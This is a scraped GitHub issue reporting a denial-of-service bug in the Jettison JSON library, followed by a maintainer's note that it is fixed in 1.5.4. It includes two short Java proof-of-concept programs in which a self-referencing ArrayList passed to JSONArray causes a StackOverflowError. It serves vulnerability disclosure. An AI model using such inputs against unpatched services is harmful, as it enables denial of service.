We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
PoC when initializing a JSONArray:
JSONArray
public class POC { public static void main(String[] args) throws JSONException { ArrayList<Object> list = new ArrayList<>(); list.add(list); JSONArray jsonArray=new JSONArray(list); } }
The result:
PoC when adding the list to an existing JSONArray:
public class POC { public static void main(String[] args) throws JSONException { ArrayList<Object> list = new ArrayList<>(); list.add(list); JSONArray jsonArray=new JSONArray().put(list); } }
If the issue is indeed exploitable, we can create a CVE entry after the fixed version is released since we are a CNA.
The text was updated successfully, but these errors were encountered:
@nitay-jfrog This is now fixed in 1.5.4, thanks.
Sorry, something went wrong.
Integrate Jettison 1.5.4
c665b96
Fixes jettison-json/jettison#60 `If the value inside a Collection is itself, using it with JSONArray causes a StackOverflowError which may lead to DoS`
Successfully merging a pull request may close this issue.
PoC when initializing a
JSONArray
:The result:
PoC when adding the list to an existing
JSONArray
:The result:
If the issue is indeed exploitable, we can create a CVE entry after the fixed version is released since we are a CNA.
The text was updated successfully, but these errors were encountered: